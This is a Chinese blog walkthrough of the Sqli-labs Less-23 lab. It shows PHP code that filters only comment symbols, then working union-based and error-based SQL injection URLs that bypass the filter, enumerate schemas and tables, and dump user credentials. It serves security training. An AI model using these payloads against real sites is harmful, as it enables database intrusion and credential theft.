• Sqli-labs Less-23 绕过注释符过滤 union注入


    关键源码如下

    $reg = "/#/";
    $reg1 = "/--/";
    $replace = "";
    $id = preg_replace($reg, $replace, $id);
    $id = preg_replace($reg1, $replace, $id);
    
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    print_r(mysql_error());
    

    此处主要是在获取id参数时进行了#,--注释符号的过滤。

    Solution:

    http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select database()),'3

    此处的sql语句为

    SELECT * FROM users WHERE id='-1' union select 1,(select database()),'3' limit 0,1

    Explain:此处讲解几个知识点:

    1、id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。

    2、-1' union select 1,(select database()),'3,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面的。这样将查询内容显示在username处。

    3、此处可以报错注入,延时注入,可以利用or '1'='1进行闭合。http://127.0.0.1/sql/Less-23/index.php?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1

    以上这条语句就是利用extractvalue()进行报错注入。

    将select database()修改为其他的选择内容或者是内嵌的select语句。

    4、以下用联合注入方法进行注入。

    •获取数据库

    http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

    此处获取的数据库为security

    •查看security库数据表

    http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

    •查看users表的所有列

    http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3

     •获取内容

    http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3

      

    参考:https://www.cnblogs.com/lcamry/p/5763012.html

  • 相关阅读:
    第十四周课程总结&实验报告(简单记事本的实现)
    第十三周课程总结
    第十二周
    第十一周课程总结
    第十周课程总结
    第九周课程总结&实验报告(七)
    第八周课程总结&实验报告(六)
    第七周课程总结&实验报告(五)
    第六周&java实验报告四
    课程总结
  • 原文地址:https://www.cnblogs.com/zhengna/p/12634403.html
Copyright © 2020-2023  润新知